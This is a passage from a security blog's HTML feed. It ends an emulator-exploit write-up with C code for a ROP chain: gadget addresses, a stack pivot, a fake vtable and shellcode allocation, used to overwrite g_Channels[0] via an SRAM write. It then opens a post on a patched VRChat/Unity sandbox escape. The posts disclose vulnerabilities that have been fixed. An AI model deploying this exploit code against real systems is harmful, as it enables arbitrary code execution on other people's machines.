#D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        rop_3&lt;&#x2F;span&gt;&lt;span&gt;[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; bswap64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;rop_3&lt;&#x2F;span&gt;&lt;span&gt;[i]);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u64 rop_2[]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; __attribute__&lt;&#x2F;span&gt;&lt;span&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;aligned&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; pop rcx; ret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x52ABB3&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;        sizeof&lt;&#x2F;span&gt;&lt;span&gt;(shellcode),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; Common::AllocateExecutableMemory&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; Second argument doesn&amp;#39;t matter&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0xFD2F70&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; add rsp, 0x38; ret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x40C3DE&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; pop rdx; ret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x4C06B2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;        guest_to_host_addr&lt;&#x2F;span&gt;&lt;span&gt;(rop_3),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; mov rcx, rax; call qword ptr [rdx+40h]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x10EE58A&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(rop_2)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;rop_2&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]); i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        rop_2&lt;&#x2F;span&gt;&lt;span&gt;[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; bswap64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;rop_2&lt;&#x2F;span&gt;&lt;span&gt;[i]);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; Since rdx points here, this doubles as the first ROP chain&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u64 fake_vtbl[]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; __attribute__&lt;&#x2F;span&gt;&lt;span&gt;((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;aligned&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; pop rax; ret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x4179B0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;        guest_to_host_addr&lt;&#x2F;span&gt;&lt;span&gt;(rop_2),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; mov rsp, rax; ret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x40EAB0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; Initial call points here&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; xchg esp, edx; ret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;        0x898285&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(fake_vtbl)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;fake_vtbl&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]); i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        fake_vtbl&lt;&#x2F;span&gt;&lt;span&gt;[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; bswap64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;fake_vtbl&lt;&#x2F;span&gt;&lt;span&gt;[i]);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u64 fake_device &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; bswap64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;guest_to_host_addr&lt;&#x2F;span&gt;&lt;span&gt;(fake_vtbl));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    CEXIChannel fake_channel;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    memset&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;fake_channel,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x99&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(fake_channel));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;; i &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt;; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        fake_channel&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;m_devices&lt;&#x2F;span&gt;&lt;span&gt;[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; bswap64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;guest_to_host_addr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;fake_device));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;    &#x2F;&#x2F; Overwrites g_Channels[0]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    static char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; buf&lt;&#x2F;span&gt;&lt;span&gt;[TARGET_PTR_OFFSET &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    u64 ptr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; bswap64&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;guest_to_host_addr&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;fake_channel));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    memcpy&lt;&#x2F;span&gt;&lt;span&gt;(buf &lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; TARGET_PTR_OFFSET,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;ptr,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(ptr));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;    __sram_write&lt;&#x2F;span&gt;&lt;span&gt;(buf,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; sizeof&lt;&#x2F;span&gt;&lt;span&gt;(buf));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A few notes on it:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;That &lt;code&gt;xchg esp, edx; ret&lt;&#x2F;code&gt; stack pivot gadget works because the Fastmem arena gets allocated at a low enough address for main RAM to fit within the first 4GB of address space.&lt;&#x2F;li&gt;
&lt;li&gt;The &lt;code&gt;mov rsp, rax; ret&lt;&#x2F;code&gt; isn&#x27;t a lucky desynced instruction but is actually the end of &lt;code&gt;ff_put_h264_chroma_mc8_rnd_mmx&lt;&#x2F;code&gt;. No idea why it&#x27;s there, but it&#x27;s a great gadget, so I can&#x27;t complain.&lt;&#x2F;li&gt;
&lt;li&gt;Exploiting an emulator with a JIT means that I get convenient functions like &lt;code&gt;Common::AllocateExecutableMemory&lt;&#x2F;code&gt; for getting RWX memory instead of having to &lt;code&gt;VirtualAlloc&lt;&#x2F;code&gt; it myself.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;iframe width=&quot;100%&quot; src=&quot;https:&#x2F;&#x2F;www.youtube-nocookie.com&#x2F;embed&#x2F;6Iz5MQybV3E&quot; frameborder=&quot;0&quot; allowfullscreen style=&quot;aspect-ratio: 32&#x2F;9;&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot;&gt;&lt;&#x2F;iframe&gt;
&lt;p&gt;I hope you had as much fun reading this as I did working on it! This was something I wanted to write back in January, but I put it off until now. What really pushed me to write this post was getting extremely annoyed at the number of clearly LLM-generated technical blog posts I kept seeing. I figured the only way to get more half-decent posts in the world is to start writing them myself again.&lt;&#x2F;p&gt;
&lt;p&gt;Thanks to &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;JLaferri&quot;&gt;Fizzi&lt;&#x2F;a&gt; for the quick response in getting this vulnerability fixed.&lt;&#x2F;p&gt;
</content>
	</entry>
	<entry xml:lang="en">
		<title>Breaking out of VRChat using a Unity bug</title>
		<published>2024-11-23T00:00:00+00:00</published>
		<updated>2024-11-23T00:00:00+00:00</updated>
		<link href="https://khang06.github.io/vrcescape/"/>
		<link rel="alternate" href="https://khang06.github.io/vrcescape/" type="text/html"/>
		<id>https://khang06.github.io/vrcescape/</id>
		<content type="html">&lt;p&gt;&lt;em&gt;&lt;strong&gt;This vulnerability is patched in VRChat &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.vrchat.com&#x2F;docs&#x2F;vrchat-202431p4&quot;&gt;2024.3.1p4&lt;&#x2F;a&gt; and Unity &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;unity.com&#x2F;releases&#x2F;editor&#x2F;whats-new&#x2F;6000.0.20&quot;&gt;6000.0.20f1&lt;&#x2F;a&gt;, &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;unity.com&#x2F;releases&#x2F;editor&#x2F;whats-new&#x2F;2022.3.48&quot;&gt;2022.3.48f1&lt;&#x2F;a&gt; and &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;unity.com&#x2F;releases&#x2F;editor&#x2F;whats-new&#x2F;2021.3.44&quot;&gt;2021.3.44f1&lt;&#x2F;a&gt;.&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;THIS DOESN&#x27;T MEAN THAT OTHER UNITY GAMES ARE VULNERABLE! Exploiting the bug requires far more user control than the vast majority of other games allow.&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;hello.vrchat.com&#x2F;&quot;&gt;VRChat&lt;&#x2F;a&gt; is a fairly popular game that heavily revolves around user-generated content. It&#x27;s well known for letting users express themselves by creating and uploading their own worlds and avatars for everyone to enjoy. As great &lt;del&gt;(or terrifying, depending on how long you&#x27;ve been on the internet)&lt;&#x2F;del&gt; as that sounds, letting users upload mostly whatever they want in such a free environment also exposes a massive attack surface for software vulnerabilities.&lt;&#x2F;p&gt;
&lt;p&gt;Specifically, I want to focus on VRChat&#x27;s scripting language, &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;creators.vrchat.com&#x2F;worlds&#x2F;udon&#x2F;&quot;&gt;Udon&lt;&#x2F;a&gt;. Udon is a custom bytecode virtual machine used for scripting worlds which can be written either using the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;creators.vrchat.com&#x2F;worlds&#x2F;udon&#x2F;graph&#x2F;&quot;&gt;Udon Node Graph&lt;&#x2F;a&gt; or &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;creators.vrchat.com&#x2F;worlds&#x2F;udon&#x2F;udonsharp&#x2F;&quot;&gt;UdonSharp&lt;&#x2F;a&gt;. As the name suggests, the Udon Node Graph is a graphical node-based environment driven by connecting inputs and outputs together with lines, while UdonSharp is an environment for compiling scripts written in C# directly to Udon bytecode. Here, I&#x27;ll be using UdonSharp because I think it&#x27;s significantly less painful to work with than the graphical editor.&lt;&#x2F;p&gt;
&lt;p&gt;The best part about Udon is that it not only exposes its own APIs, but it also allows the user to use a limited subset of Unity&#x27;s APIs and the C# standard library. Combined with UdonSharp, this makes writing Udon scripts relatively painless for those who already know how to write C# code for Unity, while still sandboxing untrusted user scripts.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;udontypeexposure.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;using&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; System&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;using&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; UdonSharp&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;using&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; UnityEngine&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;using&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; VRC&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;SDKBase&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;using&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; VRC&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Udon&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
